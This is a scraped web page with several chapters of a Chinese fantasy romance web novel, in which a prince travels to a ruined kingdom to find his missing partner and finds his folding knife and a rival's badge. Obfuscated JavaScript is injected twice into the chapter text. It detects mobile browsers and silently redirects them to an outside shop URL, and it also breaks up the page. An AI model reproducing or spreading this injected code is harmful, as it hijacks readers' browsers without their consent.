洛斐随意坐在一边,望着莱因哈特的背影,以及对方一开口便止不住的话语,懒洋洋地问道:“父王,叫我来只是为了告诉我这些?” 莱因哈特扶着卓沿慢慢转身,语气严肃,“无论作为王国王子亦或是未来的国王,这些都是必须要牢记的。” “父王,我会谨记。”洛斐颔首回答,继而视线望去屋外浓黑的夜色,说:“您从小嘱咐我的话,我都记得。况且天色已经很晚,您该保证休息。” 莱因哈特闻言神色微动,眼角的纹路柔和片刻,笑意很浅,望着他问道:“你和米尔要去游玩,去哪里?” 洛斐也猜到莱因哈特会询问他,只是没料到会如此直白,直接将他大张旗鼓地喊来,面对面地问。 洛斐将语气放得随意些,“是的,但是具体去哪里还没有打算。” 洛斐说完,看了眼莱因哈特。 他原先想着,既然在他的正常休息时间里,照例先斩后奏便是了。 莱因哈特倒是自顾自地颔首,转身拿起书翻了一页,“只是问问你罢了,想好游玩地点了记得告诉我和你母后。” “先前也不是刻意阻拦你们去游历,只是外面的世界,不似城堡那么安稳。”莱因哈特说完,顿了片刻,继续补充道:“抱歉,父王总是先责备你,再解释,最后来一句轻飘飘的抱歉。” 莱因哈特对待子民亲人皆是温润如玉,对他也只是略微严厉。 怎么也不算是要道歉的程度。 “父王,你太夸张了。”洛斐抬手摸了摸后颈,语气讪讪的:“那次周边王国还在打仗,我和米尔却一言不发跑去了汐莱纳希,应当责罚。” “而且我身为艾瑟兰的王子,遵照您的叮嘱是我该做的。” 莱因哈特听洛斐说完,语气立刻恢复如常,试探地问:“真的?你是这样想的?” “是的。”洛斐语气认真。 “你这么想是对的。”莱因哈特从身后拿起一叠还沾着墨迹的报告,放在卓沿,毫不犹豫地推给洛斐,“这是最新的北城回函,你拿回去好好斟酌,明日拟个答复,按时交给我。” “……” “你和米尔游玩回来后,便要重新开始新的课程,学着管理王国的政务了。”莱因哈特喋喋不休地继续补充,“以后的活动也要尽量试着带些侍从陪同,不能再单独……” 洛斐见莱因哈特垂首翻找身边那堆纸,便知道要说话结束了。 他连忙起身,在对方依旧反复叮嘱时,他丢下一句“父王,我谨记。”便离开了。 莱因哈特反复嘱咐他倒也不是没有来由,艾瑟兰的律法王子一旦从学院结业,面临的便是开始接受王国事务。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825579|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>社交,财务,领地管理——桩桩件件,样样都不能松懈。 洛斐也到了忙得不可开交的时候,处理完莱因哈特交代的任务,给莫里斯骑士回了信,深夜里便强睁着眼将新的游玩地点敲定。 他怕耽误米尔好不容易恢复些的睡眠被他干扰,一连好几晚都没去蹭床,本以为对方会来询问几句,结果对方一直没来找他。 准备好的那套可怜巴巴的措辞,也因此没派上用场。 米尔不来,洛斐便去找他。 米尔望着原先热热闹闹的卧房变得空荡荡,愣了片刻。卧房里不仅没有小黑的毛茸茸身影,连那点花草也消失得一干二净。 他随手拦下一位来来往往忙碌的侍从问道:“韦恩菲尔德大人呢?” 那侍从先是悄悄地望向卧房,而后犹豫地答道:“米尔·韦恩菲尔德大人……好像离开了。” “离开?”洛斐微微皱着眉,下意识看向身侧的那片草地,难不成去远些的地方吹风了,顺便搬了新的卧房。 “是的,大概是清晨时坐马车离开的,侍从们还未将卧房全部收拾好。”侍从垂首回答。 洛斐眉头轻拧,抬手示意侍从离开。 如果只是短暂不在卧房,洛斐不会在意,甚至会为米尔主动外出走动而欣慰。 但卧房一扫而空,小黑都不见踪影,更不要说人早就坐着马车离开。 最重要的是,一点消息也未给洛斐留下来。 洛斐越想越觉得奇怪,忽地折回柜子前,伸手将里面的物品拿了出来。 柜子深层细小的物品还未带走,熏香、书本、羽毛笔、废弃报告——杂乱地散着,像是他未来得及收拾。可唯独没有信。 侍从余光瞥见洛斐将卧房柜子翻得凌乱,怯生生地开口:“洛斐殿下,这些是要不……” 是否收拾起来的询问还未落地,洛斐已经转身朝着训练场走去了。 埃迪远在夏塞林陪伴凯勒布,洛斐无法询问。他思来想去,兴许知道米尔去哪里的也只有莱因哈特和薇洛希了。 时值初春,莱因哈特和薇洛希便将公务从议事厅挪到了训练场,一如往年那样亲自查看骑士们训练情况。 洛斐走到训练场时,远远就看见莱因哈特和薇洛希站在一旁的看台。一个垂首站着摆弄弓箭,一个正跟身侧的骑士说着什么。 “父王母后。”洛斐扶着看台栏杆平复着气息,见那位骑士躬身转身继续训练,他连忙开口:“米尔忽然离开了。他和你们说去哪里了吗?” 莱因哈特默不作声,只是眺望着远处正在训练的骑士们。 薇洛希看了眼他们,将弓箭递给洛斐,率先开了口,“我知道,你不必担忧。” “不必担忧?”洛斐将弓箭递给一旁的侍从,不解地问:“米尔一言不发便离开,什么也没交代,我怎么可能不担忧。” 薇洛希没急着回答,而是拉着洛斐坐在身旁,一边看着训练场上的骑士们各自操练,一边不咸不淡地开口:“也许只是没和你交代呢。” 57. 寻找 “……唯独没和我交代?”洛斐犹豫片刻,开口反问。 先前米尔只是去马厩喂小白,也会顺势告诉他一句。怎么会像现在这样不辞而别。 薇洛希见洛斐的表情肃然,任谁都看得出难以掩盖的忧伤,抬手让侍将弓箭递给他,笑着说:“米尔的心思一向比你稳,他去露希恩是有正事要办,很快便会回来,你追过去,反倒给你添乱了。” 洛斐推开侍从递来的弓箭,看了看云淡风轻的薇洛希,接着看向莱因哈特,背对着训练场,小声说道:“你们都知道他离开了,却不问清他去做什么。只是因为他心思一向稳重,但那是他的故国,一个已经覆灭的王国,父王母后就如此放心地让他离开。” 一旁眺望训练场的莱因哈特听着洛斐满是情绪的话语,微微皱眉,“洛斐,谁允许你跟我们这样讲话的,这是什么语气,教授你的王室礼仪呢?” “我们做的决定自有我们的道理。怎么,你是觉得我们不念旧友之子的安危?” “……是我失礼了,父王母后。”洛斐硬生生地答应,转而坐在一边。 莱因哈特的话,他无法反驳。 关于米尔的一切,他可以责备任何人,唯独不能责备莱因哈特和薇洛希。当初米尔无依无靠时,是他们排除万难,施以帮助。 “母后父王,我信你们,也信米尔能处理好任何问题。”洛斐顿了片刻,语气闷闷地,继续补充道:“我只是一想到米尔在露希恩——那个已经覆灭的地方,想着他也许会遇上各种各样的事,被缠住,或是独自撑着解决,便很煎熬。” 远处的骑士训练恰好结束,薇洛希站在莱因哈特身旁,抬手让侍从先退下,望着垂首的洛斐,“那你想要做什么,要不要去露希恩找米尔?” 洛斐忽地抬起头,望向面前神色如常的薇洛希,问道:“真的吗?” 薇洛希见他那副期待已久的模样,毫不犹豫地反驳完,直白地开口:“当然不是。” “我向你解释了,米尔的想法比你妥当,你去了只会是他是麻烦,你猜为什么他没告诉你?” 洛斐起身,“没告诉我,那是他有苦衷,至于他的确心思较我缜密,但这和我真的想去找他并不冲突。不是吗?母后。” 薇洛希见洛斐执意如此,只好语气软下来,“米尔对露希恩极其熟悉,你对露希恩却是陌生……” 久久未讲话的莱因哈特忽然开口:“王后,不要阻拦他,让他去。” 薇洛希诧异地看了眼身旁的莱因哈特,本想继续开口阻拦,转身对上洛斐期盼的目光,微微叹口气,“……你去露希恩务必小心谨慎,我会派人与你同去,等米尔办完正事后,立刻返回艾瑟兰。” 洛斐正准备答应,一直看着他的莱因哈特朝他说道:“不用派人跟着他,他独自去露希恩游历。” 对于是否有骑士或侍从跟着,洛斐倒是无所谓的态度。 如果真要说的话,洛斐偏爱独自前去,更加轻便,自由些。 一句接一句的反驳,薇洛希微微蹙眉,顺势拿起一旁的弓箭,偏头看向莱因哈特:“陛下,您觉得不妥当吗?还是说艾瑟兰王室连陪同王子游历的人也没有了。” 莱因哈特不动神色地将弓箭拿远了些,看向薇洛希,轻声开口解释:“他去露希恩寻找伴侣,是他自己的决定,不是以艾瑟兰王国王子的身份,无需人随行。” 莱因哈特说完,视线顺势移向面前的洛斐。 洛斐微微颔首,“是的,父王说得没错,我本就不该借王室的名义去办私事。” 训练场日光强烈,薇洛希不愿洛斐久待,交代了句,“凡事要留心。” “好。”洛斐嘴角弯了弯,压也压不住,开口道:“谢谢父王母后。” 薇洛希听着他的道谢,下意识说道:“为了不放心伴侣,追到他国的艾瑟兰王子,你怕是第一位。” 洛斐想了想,回了句,“我的荣幸。” 薇洛希表面上答应了莱因哈特,不再干涉洛斐的去留。可真到了洛斐去露希恩的那日,依旧早早地派人在城堡外面等着。 只是洛斐还没来得及和那行人问候,那些人便又被莱因哈特派来的人带走了。 最后依然是洛斐独自去露西恩。艾瑟兰的初春的确温煦,是米尔常常提起的好天气。 洛斐摸着马匹的鬃毛,一时发愣。 他知道米尔去了露希恩,但具体是哪里并不知道,准确的说,莱因哈特和薇洛希也不知道。 去了那么远的地方,留下的消息却少得可怜。偏偏莱因哈特和薇洛希却同意了,洛斐隐隐约约猜到了缘由。 多半是去找残刃卷的线索,当然米尔为了说服莱因哈特和薇洛希,应当会添油加醋地提起艾琳娜夫人做由头。 洛斐望着那匹马,是米尔平日里替他喂的那匹,轻轻地叹口气。 他担忧米尔,想知道米尔要去做什么,更想知道对方为何走得如此干脆。 米尔一言不发地离开,到底是蓄谋已久还是临时起意。 洛斐更倾向于前者。无论如何,他都想要先找到对方询问明白,现在的一切想法皆是猜测。一切的忧伤和不安也全是无用功。 洛斐对露希恩的确算得上陌生。它未覆灭前,只跟着莱因哈特来过一回,也恰好是记不清事情的年纪。 幸好米尔偶尔会提起从前的露希恩,洛斐也会顺势问些关于他的往事。零零碎碎地拼在一起,洛斐也能顺着记忆走到米尔会来的地方。 以武器闻名,以花草留名。 这是洛斐对露希恩的印象。 所以当他跌进泥泞里的时候,好一会才反应过来他的处境。 洛斐牵着马的缰绳,撑着潮湿泥土布满的地面,艰难地起身,认真地望向眼前的露希恩边界。 眼前的路很宽却面目全非。疯长的野草从路两侧延伸至中间,地面被车轮和马蹄踏得发软发粘,放眼望去,便不像是有人来往的道路。 覆没的亡国破败荒凉,洛斐早有准备。只是这身浅色的骑装早就沾染了厚重的湿泥土,着实不舒服。 洛斐扯了扯衣领,皱着眉道:“现在有些麻烦了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830155|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 一开始他的全部猜测都是在露希恩尚且有人烟的前提下。可现在四周荒芜,连人影都没有,那些预想便都落了空。 马匹无法骑着前行,时不时便会陷入泥泞,洛斐便牵着它,一步一步地朝前面走去。无论怎么样,总要找到个有人的地方才好。 尽管地面荒芜,泥土也因为无人打理,雨水浸泡而变得潮湿软烂,但路边两侧的花草却依旧生长得很茂盛。 于是,洛斐还得推着两侧生机勃勃的野草和树木。一旦推不及时,衣摆便是一层厚重的泥土袭来。 洛斐扯着变得黑漆漆的衣摆,垂首想要稍微整理一下,背后忽地传来身体陷入泥泞的声响,洛斐下意识转身将人扶了起来,“请小心些。” 灰白的头发,瘦弱的骨架。 洛斐一眼看出那是位年迈的老人,连忙将人带到略微干松的地方。 那老人像是摔倒了脑袋,在干草里安静地躺着,好一会才慢慢缓了过来,借着洛斐的力道顺势起身,连忙道谢,“谢谢……谢谢你……的帮助。” “不用,多注意些便好。”洛斐说完,想要把手收回来。 原本还在道谢的老人,目光落向洛斐眼眸时,微微怔住了,久久地扯着对方的手腕。 洛斐微微蹙眉,如此冒犯的动作怎么做得那么熟练,他冷冷地问道:“如果你的身体缓和些,你先松手,好吗?” 老人也像是回了神,急忙向后退了几步,“抱歉,请你原谅我的失礼。” 洛斐擦拭着手腕的泥渍,谨慎地问:“你认得我?” 哪怕是在艾瑟兰的边界,也会有许多人认不出他,总不能在露希恩王国的边界被认了出来,如果真是如此,反倒是件棘手的事。 老人连连摆动着干枯的手臂,说道:“并不认识先生,只是见您好像是陌生面孔,一时有些诧异。” “陌生面孔?”洛斐环顾四周,连其他面孔的影子都没有,怎么算是陌生面孔。 老人笑着,视线便移向他沾着泥土的衣服,高大的马匹也在一旁懒懒地站着,毫无精神。他语气犹豫地问:“我们这里的人很少有您这样的金发和眼眸,先生是逃难来的吗?” “不是。”洛斐眉心微微拧起,自然而然地将腰间的徽章摘了下来,“我是来游玩的。” 眼前的老人抬眼看了看他,眼里是衬得上粗糙的温和,笑着说:“那先生要不要去我们的地方坐一坐,或是换身干净的衣服。” “谢谢你的邀请。”洛斐丝毫不犹豫地回答:“但是我不需要。” 荒郊野岭里,谁也不知道对方是不是有所预谋,他也断然不会随意地前去。 “先生如果是来游玩……”老人语气放慢了些,补充道:“不如原路返回,去汐莱纳希王国或诺薇拉王国,宽阔的埃尔德里奇平原也是不错的选择。” 洛斐听着身后源源不断的建议,渐渐停下了步伐,转身问他:“你对周边地区很清楚?” 老人躬身回答:“略知一二。” 洛斐牵着马匹的缰绳,扯了扯嘴角,“劳烦你了。” 58. 依恋 洛斐看着眼前执意要为他牵马的人,轻抬手臂,微微绕开,“不用麻烦。” 老人慢慢地收回手,弯着腰替他拦着前方疯长的杂草,笑得和蔼,“先生果然是来找人的吗?” 洛斐侧目看向他。 老人连忙开口解释,“只是猜测。黄发金眸,先生的长相只一眼便能看出是艾瑟兰人。” “况且我们这样偏僻且……破旧的地方,怎么会有人游玩呢。偏偏先生却执意选择这里,只有找人这个理由还算说得通。” “会来这里吗?”洛斐摸了摸身旁受惊的马匹,想也没想地开口。 他说完才意识到有些失礼,微微敛目,重新问道:“路边的草木已经漫到了路中间,地面湿润滑腻,常常有人来吗?” 老人没急着回答,而是带着他上了前面微微凸起的高坡,指了指一边的矮栏杆,示意洛斐将马匹系上去。 洛斐安抚了静静待着的马,抬眼打量着四周。 老人的家藏在山坡后,看起来不大也不舒适,低矮的屋顶几乎要压着地面,用破旧木板充当的门斜斜地歪着。 洛斐见老人站在里面,笑着抬手喊他,他微微颔首进了房。 原以为房子里面会如外表那般破旧,但洛斐偏着头进来,发现里面收拾得格外干净。 房子地面是夯实的泥土,踩着平滑干燥,靠墙的角落摆着大大小小的生活用具,摆得规规矩矩。 “这地方虽然荒凉潮湿,看着不像有人常待,但位置独特,往里去是露希恩腹地,转身便是诺薇拉王国的必经之路。”老人垂首翻找,从柜子里取出一只崭新的瓷杯,倒满水,递到洛斐眼前,继续补充,“如果先生的朋友不是毫无目的地闲逛,那么他大概就要经过这里。” 洛斐抬手接过水杯,轻声说道:“或许真的如您所说。” “先生怎么称呼?”老人谨慎地问道,语气也放得极轻,生怕话语问错了地方。 “叫我洛斐便好。”洛斐低头抿了口水,舌尖传来一阵粗糙的颗粒感,垂眸一看,杯底沉着几粒细碎的石子。 洛斐下意识皱了皱眉。 老人见洛斐神色不对劲,赶紧放下手里的东西,急忙抬头问道:“先生怎么了?是潮湿的泥土黏着不舒服吗?” 洛斐闻声望去,无意间瞥见老人杯中更加浑浊的水质,继而笑着摇了摇头,“只是一时呛到了。” “这里的水源异常浑浊,我还怕先生会喝不习惯。” “还好。”洛斐笑着回答,抬眸望向他,顺势问道:“冒昧问一句,您怎么称呼?” 老人微微一愣,显然没想到洛斐会突然反问他,缓过神后连忙开口,“雷格,先生叫我雷格便好。” “雷格先生。”洛斐喊了一句,而后侧目看向马匹的方向,也就是刚才他们去的高坡,问道:“这个地方有名字吗?还有其他人居住在此地吗?” 他忽然想起高坡的另一面似乎还有几户人家,远远看去,房子倾斜角度像是模糊地连在了一起。 雷格顺着洛斐视线望去,回答:“先前这里是露希恩的枢纽,人们一直这么叫它,如今这个名字也一直沿用。” “至于先生说到的,居住在这里的人,原先倒是不少,现在几乎都已经离开了。”雷格微微仰着头,思索着说:“如今这里住着的,大概还有十来位。” 洛斐收回视线,仅仅片刻,手里的杯子已然沾了层湿泥,像是被凉风吹来了的。 如此恶劣的环境,他不明白人们执意滞留的缘由。哪怕平整的道路,或纯净的水源都是一种奢望,也依然要留下来。 洛斐忽然有些犹豫,米尔也是如此吗? 不是忘记告诉他,也不是前来寻找残刃卷,只是为了独自回家。 洛斐定定地看着雷格,忽地开口问道:“露希恩王国那么很好么,值得你们一直留着?” “我儿时的露希恩是最好的王国,物阜民丰,春和景明,武力强盛,花草闻名。”雷格慢慢说道:“但战争会摧毁一切,如先生所见,现在的露希恩连一块完整的土地都没有,我无法违心地称赞它。” “那你们为什么留下来?”洛斐轻声问道:“大多数国家对子民的迁居管控并不严格。” “是的,就像先生所在的艾瑟兰对待子民的迁居便很宽松。”雷格叹口气,原本清亮的眼眸被泪花染得如水质般浑浊,“不是依恋故国,也不是放不下这片土地,是牵挂的人还在这里,便永远无法离开。” “土地不值得留恋,但珍视的人踩的每一个地方,都让我们无法安然离开。” 洛斐听得些许不解,问他,“雷格先生的家人还留在这里吗?” “那时候露希恩王国深陷战争,国王要求年轻人去迎战保卫王国,我弟弟便是其中的人选。”雷格的目光落向远方,“结果,战争失败,露希恩就此消失,我弟弟也没能再回来。” “其他人……也是如此吗?”洛斐犹豫地问道。 “年纪大些的觉得住久了,便不想费力离开,年纪小些的大多是为了等人回来。” “也许是弟弟哥哥,也有可能是父亲叔伯。”雷格说完,也觉得气氛有些忧伤,便将话题移向原来露希恩的繁华。 洛斐听着,想起米尔常常朝他讲述的露希恩王国,视线便移向四周,像是要重新拼凑出一个早就消失的地方。 他也真的想知道,米尔记忆中的露希恩是什么样子。 雷格见洛斐神色恍惚,喊了句,“洛斐先生。” 洛斐偏头看他,“怎么了?” “洛斐,你是来露希恩找人,知道具体的地点位置吗?”雷格指了指身后堆砌的物资,说道:“我常常去周边运输物资,或许我能帮助你。” 洛斐摩挲着杯壁,“我不知道具体的位置。” 雷格面露难色,追问,“那……他是来做什么的?或许知道目的后,我能给你说一些具体位置,你好去一一寻找。” 洛斐喝了口水,“不知道,但应当是 紧要的事情。” “也许您知道何时来的?” 洛斐张了张嘴,顿了片刻,“我不知道。” 一问三不知。 “……”雷格拧着眉问:“那他是你的什么亲人呢?为何要跑来将人带回去。” 洛斐想也未想地开口:“他是我的伴侣。” 雷格微微抬头,仿佛在回忆中翻找了一会,而后朝洛斐说道:“抱歉,一时记不起来有人来过。” 接受他人帮助本就不符合游历的规矩,洛斐原本便打算独自寻找。雷格能为他提供歇息的地方已然足够。 “谢谢你,我先在周边试着寻找。”洛斐笑了笑,说道。 “四周寻找?也好,你要先去……”雷格话未来得及说完,那扇本就歪斜的房门歪得更厉害了,像是被人狠狠地撞了一下,随即而来的便是一阵闷哼和身体坠入泥泞的声响。 洛斐还未起身去开门,雷格便猛地冲了出去,费力使劲,将深陷泥泞的孩子拎了起来,动作利落迅速。 和原先跌入泥地里的年迈老人完全不同。 洛斐视线顺势移向雷格身旁的那个孩子。 瘦瘦小小的身体,最多七八岁的模样,浑身没有一处干爽的地方,泥水顺着衣摆往下淌,活像是从泥坑里爬了出来。 小孩才看见洛斐的存在,扯了扯雷格的衣摆,神色谨慎地问:“老雷格,他是谁,为什么会在你家里?” 洛斐垂眸望向黑泥团子一样的小孩,挑了挑眉。 脾气倒是不小。 雷格扶着他的后背,将他缓缓地推了出来,蹲下来和他小声说道:“这是洛斐先生,是帮了我的好人。 “你怎么来了?要不要和他礼貌地问候?” “我母亲让我来喊你去用餐,我便来了。”小孩往他身边挪了挪,抬头看了眼陌生的洛斐,直白地回答:“不要。” 洛斐见他别开脸,不讲话的小模样,只是朝雷格笑着摇了摇头。 他正要开口告诉雷格不必勉强孩子问候,腰间的折刀却莫名地滑了一下,直直地落在地面,眼看着便要滑到泥泞中,原本正在羞怯的孩子眼疾手快地双手死死地捂住折刀。 “谢谢你。” 洛斐伸手去接,那孩子却攥着刀柄不松手,直到一边的雷格拍了拍他的肩膀,示意他松开手。 “雷格,我认识它。”孩子对他们的不信任表现得十分不满,紧紧地望着刀柄上的标志,斩钉截铁地重复了一遍,“我真的认识它的样子,我在洼地的河边见过它。” 洛斐听完他略带稚嫩的话语,俯身拉着他的手臂,语气较先前急切些,“你确定是相同的标志吗?” 小孩子见陌生人猛地上前,别扭地缩了缩身体,语气依然坚决,“那是当然,我常常去洼地的河边捉鱼,自然不会认错。况且它的标志很独特,我更不会记混了。” 洛斐蹲下身体,任由泥渍沾染刚刚换好的衣摆,认真地朝孩子说道:“那能请你带路吗?” 59. 维伦·赛维恩 泥土看着比刚才干燥了些,但走着依旧又软又滑。洛斐视线移向眼前走得飞快,头也不回的孩子。 他刚才一时激动,顺着那孩子说的的线索便请他带路。事后才意识到不妥当——不该让那么小的孩子掺合进来。 对方倒是信誓旦旦地答应,甚至不用雷格陪同。 “你叫什么名字?”洛斐想了想,还是问了句。 小孩伸手扶着树干,利落地在树林中穿梭,时不时回头看一眼洛斐是否跟了上来,见对方询问他姓名,淡淡地回答:“诺尔。” 洛斐见诺尔回答得干脆,微微颔首补充,“洛斐·瓦莱里安。” 对方显然没有想要同他交流的意思,但兴许是洛斐主动问候,或是孩子心性起来,也较一开始健谈了些。 原来略微干燥的土地渐渐地又溢出水来,软滑潮湿,一踩便会陷入脚踝,周边的空气也混杂着枯草味和鱼腥气。 “你常常单独来这里?”洛斐想起刚才诺尔朝雷格说那话时的语气。 那么笃定且自信。 这里奇特的环境,雷格都会不慎陷入泥泞,他不大的年纪独自来也太冒险了。 “那是当然。”诺尔站在小山坡上,转身望向慢慢爬坡的洛斐,微微扬着下巴,“我每日都会去周边的小溪流里捉鱼。” 洛斐看向四周,成片的树林大致能看出先前风光的得天独厚,但眼下浑浊的水质的确不像有鱼的地方。 洛斐斟酌地问道:“你每日都来这里捉鱼?经常丰收吗?” 诺尔歪着脑袋看向他,思索着答道:“那倒不是,不过都是些其他地方飘来的死鱼,黑黑臭臭的,味道并太不好。” “我也不只是来捉鱼,主要是来寻找那些人,顺便知道小溪里有鱼,便捡起来填饱肚子。” “那……些人?”洛斐不解地问道。 “就是战争中消失的人,像是雷格的弟弟,包括我的父亲,哥哥。”诺尔转身奇怪地盯着他,像是不明白他用的称呼有哪些问题。 “你……会不伤心吗?”洛斐跨过那截覆着泥的水沟才问了句,而后目光定定地落在诺尔脸上。 “有点伤心……战争发生的时候,我太小了,对父亲,哥哥都不太熟悉,想熟悉的时候便没机会了。”诺尔走得依旧飞快,只是语气带着孩子气,“但是我母亲很伤心,那我当然也会很伤心。” 诺尔说完,看了眼身后的洛斐,便干脆地转移了话题,“要不是你帮了雷格,我才不会轻易带你来我的秘密基地。” “秘密基地?” “是我常常捉鱼,也是待着歇息的地方。”诺尔撑着地面,脚下一蹬,便爬上了那截高坡,望着跟在后面的洛斐,“当然,我也在那里发现了你的那把小刀。” 洛斐下意识望向腰间别着的折刀,笑着纠正他,“是折刀。” “……一样的意思。”诺尔摸了摸后颈,别开脸,“你为了找到那把折刀费尽心力,但对方却随手仍在附近,真不知道你何必如此。” 洛斐听着眼前满是稚气的话语,垂首捡起对方掉落的木玩具,笑着说:“他不是故意扔的,只要扔了便有他的道理。况且,那把折刀和我的是否相同,还不一定。” 忙着赶路的诺尔一时着急了,扶着树干转身,语气恼怒,“当然是相同的,我看得很清楚,也记得很牢,和你的那把是完全相同的。” “你见到了它,为什么不拿回去?”洛斐随口问道。 诺尔抬手撑着地面,脚下稍稍用力,利落地上了面前的陡峭高坡,不解地反问:“不是我的,我为何要拿?” 洛斐愣了愣,笑着说道:“你说得很对。” “到了。” 诺尔忽然开口,指着前方坑坑洼洼的小溪流,朝洛斐点了点头,说道:“如果没有野兽的踩踏和劲风吹跑它,那么那把折刀大概还在原地。” 洛斐远远地看着诺尔指的方向,果真是一片狼藉,倾斜的水沟上漂浮着一层深绿色泥渍,土腥气依旧难以忽视,“折刀在这里?” 恶劣的环境尚且可以忍受,但面前的水沟两侧倾斜程度极高,说是直直地插入地面也毫不夸张。 怎么过去都是种麻烦。 “我们怎么去……”洛斐刚想侧身询问诺尔,结果一转身那孩子便像弓箭一般冲了出去,拽着长树枝将水沟旁的折刀捡了起来。 二话不说地递给洛斐,“给你。” 洛斐扶着树,挑了挑眉,“你身手不错,动作倒是干脆。” 诺尔颇为傲娇地扬了扬脑袋,小声说:“我一早便说了,我常常来这里,别说是河沟旁边,就算是河沟正上面,我也一点不费力。” 洛斐顺手揉了揉他脑袋,垂首擦拭那把折刀,还没来得及细看,只是凭借轮廓也能认出来。待看清标志时,他心中那点犹豫彻底消失。 果真是米尔的折刀。 诺尔见他神情复杂,凑到跟前来,也歪头观察着那折刀,忽然问了句:“是你要找的吗?” “嗯,谢谢你。”洛斐随口答道。 诺尔想了想,最后依旧别扭着说了句,“那个……你也不要太伤心,也许是他不小心丢下的,不一定是故意扔掉的。” 洛斐握着刀柄,仔细地看着折刀。 米尔的这把折刀,他时不时便会磨,刀刃极其锋利,能照得出人影。最锋利的地方已然磨出了小缺口。 哪怕用得太勤,刀刃已经磨得很薄了,但米尔依旧随身别在腰间,有时连睡觉也会忘记摘下来,看得洛斐心惊胆战。 思绪渐渐回来,洛斐微微皱眉。 米尔怎么会随手扔掉呢。 也许真的是米尔特意留下的,但绝不是嫌弃而扔掉的,应该是别的缘故。 但无论如何,只要有了大致线索,找到米尔便不再是一个毫无进展的事情了。 洛斐将那把折刀也别到腰间,朝身旁伸着脑袋打量的诺尔嘱咐,“天快黑了,你先回家。” 诺尔震惊地望着他。 洛斐不解,反问道:“对,你一个孩子单独回去也有些危险,要我送你回家吗?跟我来。” 洛斐说着,便要领着他回家,最后还是诺尔倚着树干不离开,说道:“我又不累。” “不是你累不累,你母亲会担心你的安危。”洛斐无奈地与他讲道理,找到线索后他便真的不能让一个孩子一同陪他冒险。 “母亲知道我为你带路。”诺尔垂首,断断续续地回答:“我……就是想要去其他地方看看而已。” 他遇到的孩子一个比一个年纪小,一个比一个注意大。 洛斐知道对方只是想要帮助他,顺便看看其他的地方,而不是局限于这片枯萎的大地。 他耐着性子,撑着膝盖,微微弯腰,朝他说道:“我知道你的想法,但是你的确要回去,不然你的母亲也会为你的晚归而伤心。” “如果有机会,要不要去艾瑟兰游历?我邀请你。” 诺尔半信半疑地抬眸看向他,犹豫地开口:“真的吗?” “当然。” 诺尔慢慢地点了点头,同意先独自回家,但面对洛斐要送他回去的请求时,满口拒绝。 “我不想再送你回来一遍。”诺尔边走边直白地回答。 他连爬也能爬到的地方,何必要人护送。 “送你回家很必要,况且我的记性也不是如此差劲。”洛斐站在他身后,安静地答着。 最后在诺尔的强烈要求下,洛斐只送诺尔走了一半的路程,望着对方背影渐渐消失,他连忙转身投入寻找米尔的谋划中。 但是唯一的线索给的信息极其有限。 只能得出米尔的确遇到了问题,而且是棘手的问题。 洛斐抬眸看向一望无尽的道路,头也不回地往前走去。 夜晚行路并不方便,所幸露希恩王国的夜色还算明亮,点点星光照在泥泞的地方,还不至于一点也看不清。 兴许是洛斐的错觉,这条深不见底的道路似乎越走越顺滑了些,水分像是被风給带跑了,地面也不再泥泞,甚至变得有些干燥。 原先破旧废弃的道路变得有人装扮,洛斐下意识走得快了些,一边观察四周的特殊标记,一边听着耳边的呼啸风声。 忽然,一阵劲风传来,他抬手挡了挡。 他松开手的瞬间,洛斐余光瞥见周边的陡峭岩壁,那岩壁上刻着一道刀剑模样的标志,线条不算深也不算细腻,四周也无风化的痕迹。 洛斐微微皱眉。 和北城时一样狩猎标志。 洛斐望着那标志,随即转身打量着四周,寻找其他记号或能够暂时藏身的地方。 他顺着岩壁继续观察,真的在另一侧的岩壁内侧找到了一枚陌生的徽章。 徽章边缘已经磨得发钝发白,表面的清晰纹路早已失去原先的光泽,像是历经了长久擦拭。 一时看不出这枚徽章的来历,洛斐盯着它看了好一会——陌生,却又隐约觉得在哪里见过。 直到徽章旁边那行小字映入眼帘: 维伦·赛维恩 洛斐怔愣了片刻,伸手擦了擦那字迹,维伦的名字越发清晰。 60. 救 维伦·赛维恩? 洛斐皱着眉望向手中的徽章。 米尔的折刀旁出现维伦的姓名,洛斐并不诧异。 真正让他奇怪的是将姓名光明正大地摆在他眼前,维伦大概是料定他无法查找到这里而故意挑衅,如果是的话,未免有些心高气傲。 艾瑟兰王国对罪臣的处罚向来不严苛,甚至衬得上宽松,维伦大概也是借着这一点,才敢对米尔动手,或对米尔手中的残刃卷动手。 但维伦如何得知米尔在露希恩王国,洛斐都后知后觉的事情,维伦倒是消息灵通。 况且,米尔的身手也不是维伦轻易便能挟持的。 洛斐抬眸看向四周,暂时抛开其他猜测和凌乱思绪。 尽管维伦留着线索供他寻找的举措极其惹人厌,但为了能快些找到米尔,洛斐也懒得计较。 常年人烟稀少,加上天气异常,露希恩王国的地面极其怪异,时而坚硬无比,时而软烂湿滑。 更何况眼下夜色渐浓。 洛斐只能小心翼翼地走在视野相对清晰的道路边,好在他的视力较好,摸索着前行果真找到了些线索。 与其说是线索,不如说是更加黑暗的洞穴。 自从那次他和米尔被困在北城的冰谷洞穴后,洛斐回到艾瑟兰便翻了不少书籍,也算对洞穴的结构有了大致了解。 洛斐摸着黑进入洞口,闻着浓重呛人的烟熏味,转而下意识后退几步。 这洞穴是着火了吗? 